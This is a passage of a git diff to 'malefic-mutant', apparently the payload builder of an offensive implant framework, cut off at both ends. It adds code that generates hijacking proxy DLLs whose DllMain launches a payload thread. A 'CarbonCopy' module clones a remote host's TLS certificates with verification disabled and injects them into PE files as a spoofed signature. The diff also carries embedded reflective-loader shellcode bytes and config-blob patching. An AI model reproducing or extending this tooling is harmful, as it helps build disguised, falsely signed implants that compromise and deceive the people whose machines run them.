(CFGv3B64 + padding/base64)"))?; + + data[start..end].copy_from_slice(opts.blob_b64.as_bytes()); + + let output_path = if let Some(out) = &opts.output { + PathBuf::from(out) + } else { + default_output_path(&file_path) + }; + + fs::write(&output_path, data) + .with_context(|| format!("failed to write patched binary '{}'", output_path.display()))?; + + Ok(ConfigBlobPatchOutcome { + offset: start, + output_path, + }) +} diff --git a/malefic-mutant/src/tool/pe/objcopy.rs b/malefic-mutant/src/tool/pe/objcopy.rs index 5153c22..303b21f 100644 --- a/malefic-mutant/src/tool/pe/objcopy.rs +++ b/malefic-mutant/src/tool/pe/objcopy.rs @@ -1,3 +1,4 @@ +use crate::log_success; use anyhow::{anyhow, Result}; use goblin::pe::PE; use std::fs; @@ -33,10 +34,7 @@ impl PEObjCopy { fs::write(output_path, binary_data) .map_err(|e| anyhow!("Failed to write binary file '{}': {}", output_path, e))?; - println!( - "✅ Extracted binary data from '{}' to '{}'", - pe_path, output_path - ); + log_success!("Extracted binary {} → {}", pe_path, output_path); Ok(()) } @@ -49,7 +47,7 @@ impl PEObjCopy { fs::write(output_path, buffer) .map_err(|e| anyhow!("Failed to write binary file '{}': {}", output_path, e))?; - println!("✅ Copied raw file from '{}' to '{}'", pe_path, output_path); + log_success!("Copied raw file {} → {}", pe_path, output_path); Ok(()) } } diff --git a/malefic-mutant/src/tool/pe/parser.rs b/malefic-mutant/src/tool/pe/parser.rs index 0f12192..202a849 100644 --- a/malefic-mutant/src/tool/pe/parser.rs +++ b/malefic-mutant/src/tool/pe/parser.rs @@ -1,5 +1,4 @@ use super::structures::PEInfo; -use crate::tool::sigforge::error::SignError; use anyhow::{anyhow, Result}; use byteorder::{LittleEndian, ReadBytesExt}; use goblin::pe::PE; @@ -104,7 +103,7 @@ impl PEParser { let pe_signature = file.read_u32::()?; if pe_signature != 0x00004550 { // "PE\0\0" - return Err(SignError::InvalidPe("Invalid PE signature".to_string()).into()); + return Err(anyhow!("Invalid PE signature")); } // Parse COFF Header @@ -133,7 +132,7 @@ impl PEParser { fn parse_optional_header(file: &mut File, pe_info: &mut PEInfo) -> Result<()> { if pe_info.size_of_optional_header == 0 { - return Err(SignError::InvalidPe("No optional header found".to_string()).into()); + return Err(anyhow!("No optional header found")); } // Standard fields diff --git a/malefic-mutant/src/tool/proxydll/generator.rs b/malefic-mutant/src/tool/proxydll/generator.rs index 0c2a85d..c7edce7 100644 --- a/malefic-mutant/src/tool/proxydll/generator.rs +++ b/malefic-mutant/src/tool/proxydll/generator.rs @@ -14,7 +14,7 @@ use std::path::Path; /// * `hijacked_exports` - Functions to hijack for payload execution /// * `use_native_thread` - Use NtCreateThreadEx instead of std::thread /// * `use_block` - Enable block feature -/// * `use_prelude` - Enable malefic-prelude feature +/// * `use_prelude` - Enable malefic-autorun feature pub fn update_proxydll( raw_dll: &str, proxied_dll: &str, @@ -23,6 +23,7 @@ pub fn update_proxydll( use_native_thread: bool, use_block: bool, use_prelude: bool, + hijacked_dllmain: bool, ) -> Result<()> { if raw_dll.contains(' ') { return Err(anyhow!( @@ -57,6 +58,7 @@ pub fn update_proxydll( proxied_dll, hijacked_exports, use_native_thread, + hijacked_dllmain, )?; log_step!("Generating DEF file..."); @@ -80,7 +82,7 @@ pub fn update_proxydll( log_info!(" proxy: true (always enabled)"); log_info!(" native_thread: {}", use_native_thread); log_info!(" block: {}", use_block); - log_info!(" malefic-prelude: {}", use_prelude); + log_info!(" malefic-autorun: {}", use_prelude); log_step!("Next Steps:"); log_info!(" Build: cargo build --release -p malefic-proxydll"); @@ -116,12 +118,15 @@ fn build_lib( runtime_dll: &str, hijacked_exports: &[&str], _use_native_thread: bool, + hijack_dll_main: bool, ) -> Result<()> { let hijacked_functions = build_hijacked_exports(exports, hijacked_exports); - let forwarded_functions = build_forwarded_exports(exports, hijacked_exports); + // NOTE: Forwarded exports are handled entirely by the .def file + // Empty stubs are no longer generated as they are unnecessary and can cause + // compilation errors when export names contain illegal characters let function_names_array = build_function_names_array(hijacked_exports); - let lib_content = format!( + let mut lib_content = format!( r#"// Auto-generated proxy DLL library // DO NOT EDIT MANUALLY - Generated by malefic-mutant @@ -129,7 +134,7 @@ mod payload; use lazy_static::lazy_static; use std::sync::{{Arc, Mutex}}; -use malefic_helper::win::kit::apis::{{m_load_library_a, m_get_func_addr_with_module_base}}; +use malefic_os_win::kit::apis::{{m_load_library_a, m_get_func_addr_with_module_base}}; const DLL_NAME: &str = r"{}"; static mut ADDRESS: usize = 0; @@ -208,17 +213,57 @@ pub fn gateway( }} // Export functions that call our gateway (hijacked) -{} - -// Export functions that are forwarded via .def file (empty stubs) +// Note: Forwarded exports are handled by proxy.def file, no Rust stubs needed {} "#, - runtime_dll, function_names_array, hijacked_functions, forwarded_functions + runtime_dll, function_names_array, hijacked_functions ); + let dll_main_hijack_content = r#" + + +use windows::Win32::Foundation::HINSTANCE; +// Will hijack dll_main +#[no_mangle] +#[allow(non_snake_case)] +pub extern "system" fn DllMain( + hModule: HINSTANCE, + dwReason: u32, + lpReserved: *mut core::ffi::c_void, +) -> bool { + match dwReason { + DLL_PROCESS_ATTACH => { + let flag = Arc::clone(&MUTEX); + let mut flag = flag.lock().unwrap(); + if *flag == 0 {{ + *flag += 1; + crate::payload::create_payload_thread(); + #[cfg(feature = "block")] + loop {{ + std::thread::sleep(std::time::Duration::from_secs(u64::MAX)); + }} + + }} + } + DLL_PROCESS_DETACH => { + } + DLL_THREAD_ATTACH => { + } + DLL_THREAD_DETACH => { + } + _ => {} + } + true // Return true to indicate success +} + "#; + + if hijack_dll_main { + lib_content = lib_content + dll_main_hijack_content + }; + let lib_path = project_root.join("src/lib.rs"); fs::write(lib_path, lib_content)?; - println!("📄 Generated lib.rs"); + log_success!("Generated lib.rs"); Ok(()) } @@ -267,6 +312,14 @@ pub extern "C" fn {}( } /// Generate forwarded export functions (empty stubs) +/// +/// DEPRECATED: This function is no longer used. +/// Forwarded exports are now handled entirely by the .def file. +/// Empty stubs were causing issues: +/// 1. DEF file already defines forwarding rules (export_name=dll.export_name) +/// 2. Linker generates correct export table from .def file alone +/// 3. Some function names contain illegal characters causing Rust compilation failures +#[allow(dead_code)] fn build_forwarded_exports(exports: &[ExportInfo], hijacked_exports: &[&str]) -> String { let mut functions = String::new(); @@ -309,7 +362,7 @@ fn build_def( let def_path = project_root.join("proxy.def"); fs::write(def_path, def_content)?; - println!("📄 Generated proxy.def"); + log_success!("Generated proxy.def"); Ok(()) } @@ -340,7 +393,7 @@ fn update_cargo_toml( default_features.push("block"); } if use_prelude { - default_features.push("malefic-prelude"); + default_features.push("malefic-autorun"); } features["default"] = Item::Value(default_features.into()); @@ -348,13 +401,13 @@ fn update_cargo_toml( return Err(anyhow!("Failed to find 'features' in Cargo.toml")); } - // Ensure malefic-prelude dependency exists if needed + // Ensure malefic-autorun dependency exists if needed if use_prelude { if let Some(deps) = cargo_toml["dependencies"].as_table_mut() { - if !deps.contains_key("malefic-prelude") { - // Add malefic-prelude as optional dependency - deps["malefic-prelude"] = toml_edit::value(toml_edit::InlineTable::from_iter([ - ("path", "../malefic-prelude"), + if !deps.contains_key("malefic-autorun") { + // Add malefic-autorun as optional dependency + deps["malefic-autorun"] = toml_edit::value(toml_edit::InlineTable::from_iter([ + ("path", "../malefic-crates/autorun"), ("optional", "true"), ])); } @@ -362,6 +415,6 @@ fn update_cargo_toml( } fs::write(cargo_toml_path, cargo_toml.to_string())?; - println!("📄 Updated Cargo.toml with features"); + log_success!("Updated Cargo.toml with features"); Ok(()) } diff --git a/malefic-mutant/src/tool/proxydll/mod.rs b/malefic-mutant/src/tool/proxydll/mod.rs index 2003a64..2f4d52a 100644 --- a/malefic-mutant/src/tool/proxydll/mod.rs +++ b/malefic-mutant/src/tool/proxydll/mod.rs @@ -4,7 +4,9 @@ pub mod packer; use crate::{log_step, log_success}; pub use generator::update_proxydll; -pub use packer::{ProxyDllPacker, ProxyDllResource}; +pub use packer::ProxyDllPacker; +#[allow(unused_imports)] +pub use packer::ProxyDllResource; /// Process ProxyDLL resources after build completion pub fn process_proxydll_resources(binary_path: &str, _target: &str) -> anyhow::Result<()> { @@ -100,6 +102,24 @@ pub fn process_proxydll_resources(binary_path: &str, _target: &str) -> anyhow::R proxy_dll_name ); + // Include spite.bin if configured (for external_spite mode) + if proxydll_config.include_spite { + let spite_path = Path::new(&proxydll_config.spite_path); + if spite_path.exists() { + let spite_dest = output_dir.join("spite.bin"); + std::fs::copy(spite_path, &spite_dest)?; + log_step!( + "Included spite.bin from {} for external_spite mode", + proxydll_config.spite_path + ); + } else { + log_step!( + "Warning: spite.bin not found at {}, skipping", + proxydll_config.spite_path + ); + } + } + // Pack output directory into program.zip let zip_path = packer.pack_output_directory(output_dir)?; log_success!("Resource pack created: {}", zip_path.display()); diff --git a/malefic-mutant/src/tool/sigforge/carbon_copy.rs b/malefic-mutant/src/tool/sigforge/carbon_copy.rs new file mode 100644 index 0000000..055e1dd --- /dev/null +++ b/malefic-mutant/src/tool/sigforge/carbon_copy.rs @@ -0,0 +1,204 @@ +/// CarbonCopy: clone a TLS certificate from a remote host and inject it into a PE file. +/// +/// Connects to a remote server via TLS, extracts the server certificate chain, +/// and constructs a WIN_CERTIFICATE structure to embed in the target PE. +use anyhow::{anyhow, Result}; +use std::io::Read; +use std::net::TcpStream; +use std::sync::Arc; + +use super::inject::SignatureInjector; + +/// Connect to a remote host via TLS and extract the server certificate chain as DER bytes. +fn fetch_remote_certificates(host: &str, port: u16) -> Result>> { + // Use a permissive verifier to accept any cert (including self-signed) + let config = build_permissive_config(); + + let server_name = rustls::pki_types::ServerName::try_from(host.to_string()) + .map_err(|e| anyhow!("Invalid server name '{}': {}", host, e))?; + + let mut conn = rustls::ClientConnection::new(Arc::new(config), server_name) + .map_err(|e| anyhow!("TLS connection setup failed: {}", e))?; + + let mut sock = TcpStream::connect(format!("{}:{}", host, port)) + .map_err(|e| anyhow!("TCP connection to {}:{} failed: {}", host, port, e))?; + + // Complete the TLS handshake + let mut stream = rustls::Stream::new(&mut conn, &mut sock); + // Read a single byte to trigger handshake completion (ignore errors — we just need the handshake) + let mut buf = [0u8; 1]; + let _ = stream.read(&mut buf); + + let certs = conn + .peer_certificates() + .ok_or_else(|| anyhow!("No certificates received from {}:{}", host, port))?; + + if certs.is_empty() { + return Err(anyhow!("Empty certificate chain from {}:{}", host, port)); + } + + Ok(certs.iter().map(|c| c.as_ref().to_vec()).collect()) +} + +/// Build a rustls ClientConfig that does not verify server certificates. +/// This allows us to extract certificates from any server, even self-signed. +fn build_permissive_config() -> rustls::ClientConfig { + let verifier = Arc::new(NoVerifier); + rustls::ClientConfig::builder() + .dangerous() + .with_custom_certificate_verifier(verifier) + .with_no_client_auth() +} + +/// A certificate verifier that accepts everything. +#[derive(Debug)] +struct NoVerifier; + +impl rustls::client::danger::ServerCertVerifier for NoVerifier { + fn verify_server_cert( + &self, + _end_entity: &rustls::pki_types::CertificateDer<'_>, + _intermediates: &[rustls::pki_types::CertificateDer<'_>], + _server_name: &rustls::pki_types::ServerName<'_>, + _ocsp_response: &[u8], + _now: rustls::pki_types::UnixTime, + ) -> std::result::Result { + Ok(rustls::client::danger::ServerCertVerified::assertion()) + } + + fn verify_tls12_signature( + &self, + _message: &[u8], + _cert: &rustls::pki_types::CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn verify_tls13_signature( + &self, + _message: &[u8], + _cert: &rustls::pki_types::CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn supported_verify_schemes(&self) -> Vec { + vec![ + rustls::SignatureScheme::RSA_PKCS1_SHA256, + rustls::SignatureScheme::RSA_PKCS1_SHA384, + rustls::SignatureScheme::RSA_PKCS1_SHA512, + rustls::SignatureScheme::ECDSA_NISTP256_SHA256, + rustls::SignatureScheme::ECDSA_NISTP384_SHA384, + rustls::SignatureScheme::ECDSA_NISTP521_SHA512, + rustls::SignatureScheme::RSA_PSS_SHA256, + rustls::SignatureScheme::RSA_PSS_SHA384, + rustls::SignatureScheme::RSA_PSS_SHA512, + rustls::SignatureScheme::ED25519, + rustls::SignatureScheme::ED448, + ] + } +} + +/// Construct a WIN_CERTIFICATE structure from DER certificate data. +/// +/// WIN_CERTIFICATE layout: +/// dwLength: u32 (total size including header) +/// wRevision: u16 (0x0200 = WIN_CERT_REVISION_2_0) +/// wCertificateType: u16 (0x0002 = WIN_CERT_TYPE_PKCS_SIGNED_DATA) +/// bCertificate: [u8] (DER-encoded certificate data) +/// +/// The structure is padded to 8-byte alignment. +fn build_win_certificate(der_certs: &[Vec]) -> Vec { + // Concatenate all cert DER data + let total_cert_len: usize = der_certs.iter().map(|c| c.len()).sum(); + let header_len = 8u32; // dwLength(4) + wRevision(2) + wCertificateType(2) + let dw_length = header_len + total_cert_len as u32; + + // Align to 8 bytes + let aligned_length = (dw_length + 7) & !7; + + let mut result = Vec::with_capacity(aligned_length as usize); + result.extend_from_slice(&dw_length.to_le_bytes()); // dwLength + result.extend_from_slice(&0x0200u16.to_le_bytes()); // wRevision = WIN_CERT_REVISION_2_0 + result.extend_from_slice(&0x0002u16.to_le_bytes()); // wCertificateType = PKCS_SIGNED_DATA + + for cert in der_certs { + result.extend_from_slice(cert); + } + + // Pad to 8-byte alignment + while result.len() < aligned_length as usize { + result.push(0); + } + + result +} + +/// Load certificate from a local DER or PEM file. +fn load_cert_from_file(cert_path: &str) -> Result>> { + let data = std::fs::read(cert_path) + .map_err(|e| anyhow!("Failed to read certificate file '{}': {}", cert_path, e))?; + + // Check if PEM (starts with "-----BEGIN") + if data.starts_with(b"-----BEGIN") { + let pem_str = String::from_utf8(data) + .map_err(|_| anyhow!("Certificate file contains invalid UTF-8"))?; + + let mut certs = Vec::new(); + let mut in_cert = false; + let mut b64_buf = String::new(); + + for line in pem_str.lines() { + if line.starts_with("-----BEGIN") { + in_cert = true; + b64_buf.clear(); + } else if line.starts_with("-----END") { + in_cert = false; + let der = + base64::Engine::decode(&base64::engine::general_purpose::STANDARD, &b64_buf) + .map_err(|e| anyhow!("Failed to decode PEM base64: {}", e))?; + certs.push(der); + } else if in_cert { + b64_buf.push_str(line.trim()); + } + } + + if certs.is_empty() { + return Err(anyhow!("No certificates found in PEM file")); + } + Ok(certs) + } else { + // Assume DER format + Ok(vec![data]) + } +} + +/// CarbonCopy: clone a certificate and inject it into a target PE. +/// +/// - If `host` is provided, fetches the certificate from the remote server via TLS. +/// - If `cert_file` is provided, loads the certificate from a local DER/PEM file. +/// - Constructs a WIN_CERTIFICATE and injects it into the target PE. +pub fn carbon_copy( + host: Option<&str>, + port: u16, + cert_file: Option<&str>, + target_path: &str, + output_path: Option<&str>, +) -> Result { + let der_certs = if let Some(cert_path) = cert_file { + load_cert_from_file(cert_path)? + } else if let Some(hostname) = host { + fetch_remote_certificates(hostname, port)? + } else { + return Err(anyhow!("Either --host or --cert-file must be specified")); + }; + + let win_cert = build_win_certificate(&der_certs); + + let result_path = + SignatureInjector::inject_signature_data(&win_cert, target_path, output_path)?; + + Ok(result_path) +} diff --git a/malefic-mutant/src/tool/sigforge/mod.rs b/malefic-mutant/src/tool/sigforge/mod.rs index b223cf6..af207c0 100644 --- a/malefic-mutant/src/tool/sigforge/mod.rs +++ b/malefic-mutant/src/tool/sigforge/mod.rs @@ -1,3 +1,4 @@ +pub mod carbon_copy; pub mod extract; pub mod inject; pub mod remove; diff --git a/malefic-mutant/src/tool/srdi/mod.rs b/malefic-mutant/src/tool/srdi/mod.rs index 853583f..3933e6c 100644 --- a/malefic-mutant/src/tool/srdi/mod.rs +++ b/malefic-mutant/src/tool/srdi/mod.rs @@ -1,4 +1,5 @@ use crate::config::GenerateArch; +use crate::{log_info, log_success}; use link_srdi::link_shellcode_rdi_from_bytes; use malefic_srdi::malefic_shellcode_rdi_from_bytes; @@ -14,7 +15,7 @@ pub fn link_srdi_generator( function_name: &String, user_data: &[u8], ) -> anyhow::Result<()> { - println!("[+] Src PE file is {}", src_path); + log_info!("Loaded PE file {}", src_path); let src_path = std::path::Path::new(src_path); if !src_path.exists() { anyhow::bail!("src_path does not exist."); @@ -26,10 +27,7 @@ pub fn link_srdi_generator( } let target_path = std::path::Path::new(target_path); std::fs::write(target_path, &data)?; - println!( - "[+] Successfully linked shellcode to {}", - target_path.display() - ); + log_success!("Linked shellcode to {}", target_path.display()); Ok(()) } @@ -41,7 +39,7 @@ pub fn malefic_srdi_generator( function_name: &str, user_data: &[u8], ) -> anyhow::Result<()> { - println!("[+] Src PE file is {}", src_path); + log_info!("Loaded PE file {}", src_path); let src_path = std::path::Path::new(src_path); if !src_path.exists() { anyhow::bail!("src_path does not exist."); @@ -56,9 +54,6 @@ pub fn malefic_srdi_generator( }; let target_path = std::path::Path::new(target_path); std::fs::write(target_path, &data)?; - println!( - "[+] Successfully generated malefic shellcode to {}", - target_path.display() - ); + log_success!("Generated shellcode to {}", target_path.display()); Ok(()) } diff --git a/malefic-mutant/src/tool/srdi/shellcode.rs b/malefic-mutant/src/tool/srdi/shellcode.rs index 4a20498..728b5be 100644 --- a/malefic-mutant/src/tool/srdi/shellcode.rs +++ b/malefic-mutant/src/tool/srdi/shellcode.rs @@ -734,6 +734,19 @@ pub static LINK_RDI_SHELLCODE_64: &[u8] = &[ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ]; +// --- Malefic SRDI shellcode: feature-gated --- +// With `rebuild_srdi`: built from malefic-crates/srdi source via build.rs +// Without (default): use pre-built bytes below + +#[cfg(feature = "rebuild_srdi")] +pub static MALEFIC_RDI_SHELLCODE_64: &[u8] = + include_bytes!(concat!(env!("OUT_DIR"), "/malefic_srdi_x64.bin")); + +#[cfg(feature = "rebuild_srdi")] +pub static MALEFIC_RDI_SHELLCODE_32: &[u8] = + include_bytes!(concat!(env!("OUT_DIR"), "/malefic_srdi_x32.bin")); + +#[cfg(not(feature = "rebuild_srdi"))] pub static MALEFIC_RDI_SHELLCODE_64: &[u8] = &[ 0x80, 0x12, 0x00, 0x00, 0xa5, 0x12, 0x00, 0x00, 0x5c, 0x33, 0x00, 0x00, 0x32, 0x13, 0x00, 0x00, 0x2e, 0x14, 0x00, 0x00, 0x64, 0x33, 0x00, 0x00, 0x3e, 0x14, 0x00, 0x00, 0x9a, 0x14, 0x00, 0x00, @@ -1345,6 +1358,7 @@ pub static MALEFIC_RDI_SHELLCODE_64: &[u8] = &[ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ]; +#[cfg(not(feature = "rebuild_srdi"))] pub static MALEFIC_RDI_SHELLCODE_32: &[u8] = &[ 0x2f, 0x72, 0x75, 0x73, 0x74, 0x63, 0x2f, 0x32, 0x30, 0x33, 0x63, 0x35, 0x37, 0x64, 0x62, 0x65, 0x32, 0x30, 0x61, 0x65, 0x65, 0x36, 0x37, 0x65, 0x61, 0x61, 0x38, 0x66, 0x37, 0x62, 0x65, 0x34, diff --git a/malefic-mutant/src/tool/strip/mod.rs b/malefic-mutant/src/tool/strip/mod.rs index 5953499..d6b1f50 100644 --- a/malefic-mutant/src/tool/strip/mod.rs +++ b/malefic-mutant/src/tool/strip/mod.rs @@ -1,3 +1,4 @@ +use crate::log_success; use regex::bytes::Regex; use std::fs::{read, write}; @@ -40,11 +41,11 @@ pub fn strip_paths_from_binary( _total_replacements += matches.len(); for mat in matches.iter().rev() { - // 从åŽå¾€å‰æ›¿æ¢ï¼Œé¿å…ä½ç½®å移问题 + // Replace from back to front to avoid position offset issues let start_byte = mat.start(); let end_byte = mat.end(); - // ç¡®ä¿å­—节ä½ç½®åœ¨æœ‰æ•ˆèŒƒå›´å†… + // Ensure byte position is within valid range if end_byte <= modified_bytes.len() { for i in start_byte..end_byte { modified_bytes[i] = 0; @@ -58,8 +59,8 @@ pub fn strip_paths_from_binary( // println!("\nTotal paths replaced: {}", total_replacements); - // 写入输出文件 + // Write to output file write(output_path, &modified_bytes)?; - println!("Successfully strip {} to {}", input_path, output_path); + log_success!("Stripped paths {} → {}", input_path, output_path); Ok(()) } diff --git a/malefic-mutant/src/tool/watermark/methods.rs b/malefic-mutant/src/tool/watermark/methods.rs new file mode 100644 index 0000000..06c3c89 --- /dev/null +++ b/malefic-mutant/src/tool/watermark/methods.rs @@ -0,0 +1,387 @@ +/// Watermark embedding/reading methods for PE files. +/// +/// Four methods: +/// - Checksum: write watermark into PE OptionalHeader.CheckSum field +/// - DosStub: inject data into DOS stub area (between DOS header and PE header) +/// - Section: add a new PE section containing the watermark +/// - Overlay: append watermark data after the last section (simplest) +use anyhow::{anyhow, Result}; +use byteorder::{LittleEndian, ReadBytesExt, WriteBytesExt}; +use std::fs::File; +use std::io::{Read, Seek, SeekFrom, Write}; + +use crate::tool::pe::PEParser; + +/// Watermark method selection. +#[derive(Debug, Clone, Copy)] +pub enum WatermarkMethod { + Checksum, + DosStub, + Section, + Overlay, +} + +impl std::str::FromStr for WatermarkMethod { + type Err = String; + + fn from_str(s: &str) -> std::result::Result { + match s.to_lowercase().as_str() { + "checksum" => Ok(WatermarkMethod::Checksum), + "dosstub" | "dos_stub" | "dos" => Ok(WatermarkMethod::DosStub), + "section" => Ok(WatermarkMethod::Section), + "overlay" => Ok(WatermarkMethod::Overlay), + _ => Err(format!( + "'{}' is not a valid watermark method. Use: checksum, dosstub, section, overlay", + s + )), + } + } +} + +impl std::fmt::Display for WatermarkMethod { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + WatermarkMethod::Checksum => write!(f, "checksum"), + WatermarkMethod::DosStub => write!(f, "dosstub"), + WatermarkMethod::Section => write!(f, "section"), + WatermarkMethod::Overlay => write!(f, "overlay"), + } + } +} + +/// Write watermark into a PE file using the specified method. +pub fn write_watermark( + input_path: &str, + output_path: &str, + method: WatermarkMethod, + watermark: &[u8], +) -> Result<()> { + std::fs::copy(input_path, output_path)?; + + match method { + WatermarkMethod::Checksum => write_checksum(output_path, watermark), + WatermarkMethod::DosStub => write_dosstub(output_path, watermark), + WatermarkMethod::Section => write_section(output_path, watermark), + WatermarkMethod::Overlay => write_overlay(output_path, watermark), + } +} + +/// Read watermark from a PE file using the specified method. +pub fn read_watermark( + input_path: &str, + method: WatermarkMethod, + size_hint: Option, +) -> Result> { + match method { + WatermarkMethod::Checksum => read_checksum(input_path), + WatermarkMethod::DosStub => read_dosstub(input_path, size_hint), + WatermarkMethod::Section => read_section(input_path), + WatermarkMethod::Overlay => read_overlay(input_path, size_hint), + } +} + +// ─── Checksum ─── + +fn write_checksum(output_path: &str, watermark: &[u8]) -> Result<()> { + if watermark.len() > 4 { + return Err(anyhow!( + "Checksum watermark must be <= 4 bytes, got {}", + watermark.len() + )); + } + + let pe_info = PEParser::parse_file(output_path)?; + let mut file = File::options().read(true).write(true).open(output_path)?; + + // CheckSum is at optional header start + 0x40 (64 bytes into optional header) + // optional header starts at pe_header + 4 (PE sig) + 20 (COFF header) + let optional_header_offset = pe_info.pe_header_location as u64 + 4 + 20; + let checksum_offset = optional_header_offset + 64; // 0x40 into optional header + + let mut value = [0u8; 4]; + let copy_len = watermark.len().min(4); + value[..copy_len].copy_from_slice(&watermark[..copy_len]); + + file.seek(SeekFrom::Start(checksum_offset))?; + file.write_all(&value)?; + + Ok(()) +} + +fn read_checksum(input_path: &str) -> Result> { + let pe_info = PEParser::parse_file(input_path)?; + let mut file = File::open(input_path)?; + + let optional_header_offset = pe_info.pe_header_location as u64 + 4 + 20; + let checksum_offset = optional_header_offset + 64; + + file.seek(SeekFrom::Start(checksum_offset))?; + let mut buf = [0u8; 4]; + file.read_exact(&mut buf)?; + + Ok(buf.to_vec()) +} + +// ─── DosStub ─── + +fn write_dosstub(output_path: &str, watermark: &[u8]) -> Result<()> { + let pe_info = PEParser::parse_file(output_path)?; + let mut file = File::options().read(true).write(true).open(output_path)?; + + // DOS header is 64 bytes (0x40), e_lfanew points to PE header + let available = pe_info.pe_header_location as usize - 0x40; + + if watermark.len() > available { + return Err(anyhow!( + "DOS stub has only {} bytes available, watermark is {} bytes", + available, + watermark.len() + )); + } + + // Write at offset 0x40 (right after DOS header) + file.seek(SeekFrom::Start(0x40))?; + file.write_all(watermark)?; + + Ok(()) +} + +fn read_dosstub(input_path: &str, size_hint: Option) -> Result> { + let pe_info = PEParser::parse_file(input_path)?; + let mut file = File::open(input_path)?; + + let available = pe_info.pe_header_location as usize - 0x40; + let read_size = size_hint.unwrap_or(available).min(available); + + file.seek(SeekFrom::Start(0x40))?; + let mut buf = vec![0u8; read_size]; + file.read_exact(&mut buf)?; + + Ok(buf) +} + +// ─── Section ─── + +/// Section header info parsed from PE. +struct SectionHeader { + name: [u8; 8], + virtual_size: u32, + virtual_address: u32, + size_of_raw_data: u32, + pointer_to_raw_data: u32, +} + +fn parse_section_headers( + file: &mut File, + pe_header: u32, + num_sections: u16, + optional_header_size: u16, +) -> Result> { + // Section table starts after optional header + let section_table_offset = pe_header as u64 + 4 + 20 + optional_header_size as u64; + file.seek(SeekFrom::Start(section_table_offset))?; + + let mut sections = Vec::with_capacity(num_sections as usize); + for _ in 0..num_sections { + let mut name = [0u8; 8]; + file.read_exact(&mut name)?; + let virtual_size = file.read_u32::()?; + let virtual_address = file.read_u32::()?; + let size_of_raw_data = file.read_u32::()?; + let pointer_to_raw_data = file.read_u32::()?; + // Skip: PointerToRelocations(4) + PointerToLinenumbers(4) + NumberOfRelocations(2) + NumberOfLinenumbers(2) + Characteristics(4) = 16 bytes + file.seek(SeekFrom::Current(16))?; + + sections.push(SectionHeader { + name, + virtual_size, + virtual_address, + size_of_raw_data, + pointer_to_raw_data, + }); + } + + Ok(sections) +} + +fn align_up(value: u32, alignment: u32) -> u32 { + if alignment == 0 { + return value; + } + (value + alignment - 1) & !(alignment - 1) +} + +fn write_section(output_path: &str, watermark: &[u8]) -> Result<()> { + let pe_info = PEParser::parse_file(output_path)?; + let mut file = File::options().read(true).write(true).open(output_path)?; + + let sections = parse_section_headers( + &mut file, + pe_info.pe_header_location, + pe_info.number_of_sections, + pe_info.size_of_optional_header, + )?; + + let file_alignment = pe_info.file_alignment; + let section_alignment = pe_info.section_alignment; + + // Check if there's room for a new section header (40 bytes) + let section_table_offset = + pe_info.pe_header_location as u64 + 4 + 20 + pe_info.size_of_optional_header as u64; + let section_table_end = section_table_offset + (pe_info.number_of_sections as u64) * 40; + let new_header_end = section_table_end + 40; + + // headers must fit within SizeOfHeaders + if new_header_end > pe_info.size_of_headers as u64 { + return Err(anyhow!( + "No room for new section header: need {} but SizeOfHeaders is {}", + new_header_end, + pe_info.size_of_headers + )); + } + + // Calculate new section placement + let last_section = sections + .last() + .ok_or_else(|| anyhow!("PE has no sections"))?; + let new_raw_offset = align_up( + last_section.pointer_to_raw_data + last_section.size_of_raw_data, + file_alignment, + ); + let new_raw_size = align_up(watermark.len() as u32, file_alignment); + let new_virtual_address = align_up( + last_section.virtual_address + last_section.virtual_size, + section_alignment, + ); + let new_virtual_size = watermark.len() as u32; + + // Write section header at section_table_end + file.seek(SeekFrom::Start(section_table_end))?; + + // Name: ".wmark\0\0" + let section_name: [u8; 8] = *b".wmark\0\0"; + file.write_all(§ion_name)?; + file.write_u32::(new_virtual_size)?; // VirtualSize + file.write_u32::(new_virtual_address)?; // VirtualAddress + file.write_u32::(new_raw_size)?; // SizeOfRawData + file.write_u32::(new_raw_offset)?; // PointerToRawData + file.write_u32::(0)?; // PointerToRelocations + file.write_u32::(0)?; // PointerToLinenumbers + file.write_u16::(0)?; // NumberOfRelocations + file.write_u16::(0)?; // NumberOfLinenumbers + file.write_u32::(0x40000040)?; // Characteristics: INITIALIZED_DATA | READ + + // Update NumberOfSections + let num_sections_offset = pe_info.pe_header_location as u64 + 4 + 2; // after PE sig + Machine + file.seek(SeekFrom::Start(num_sections_offset))?; + file.write_u16::(pe_info.number_of_sections + 1)?; + + // Update SizeOfImage + let new_size_of_image = align_up(new_virtual_address + new_virtual_size, section_alignment); + let optional_header_offset = pe_info.pe_header_location as u64 + 4 + 20; + let size_of_image_offset = optional_header_offset + 56; // 0x38 into optional header + file.seek(SeekFrom::Start(size_of_image_offset))?; + file.write_u32::(new_size_of_image)?; + + // Write section data at new_raw_offset + file.seek(SeekFrom::Start(new_raw_offset as u64))?; + file.write_all(watermark)?; + + // Pad to file alignment + let padding = new_raw_size as usize - watermark.len(); + if padding > 0 { + file.write_all(&vec![0u8; padding])?; + } + + Ok(()) +} + +fn read_section(input_path: &str) -> Result> { + let pe_info = PEParser::parse_file(input_path)?; + let mut file = File::open(input_path)?; + + let sections = parse_section_headers( + &mut file, + pe_info.pe_header_location, + pe_info.number_of_sections, + pe_info.size_of_optional_header, + )?; + + // Find .wmark section + let wmark_section = sections + .iter() + .find(|s| &s.name[..6] == b".wmark") + .ok_or_else(|| anyhow!("No .wmark section found in PE file"))?; + + file.seek(SeekFrom::Start(wmark_section.pointer_to_raw_data as u64))?; + let mut buf = vec![0u8; wmark_section.virtual_size as usize]; + file.read_exact(&mut buf)?; + + Ok(buf) +} + +// ─── Overlay ─── + +fn write_overlay(output_path: &str, watermark: &[u8]) -> Result<()> { + let mut file = File::options().read(true).write(true).open(output_path)?; + + // Write marker + size + watermark data at end of file + // Format: [WMRK (4 bytes)] [size: u32 LE] [watermark data] + file.seek(SeekFrom::End(0))?; + file.write_all(b"WMRK")?; + file.write_u32::(watermark.len() as 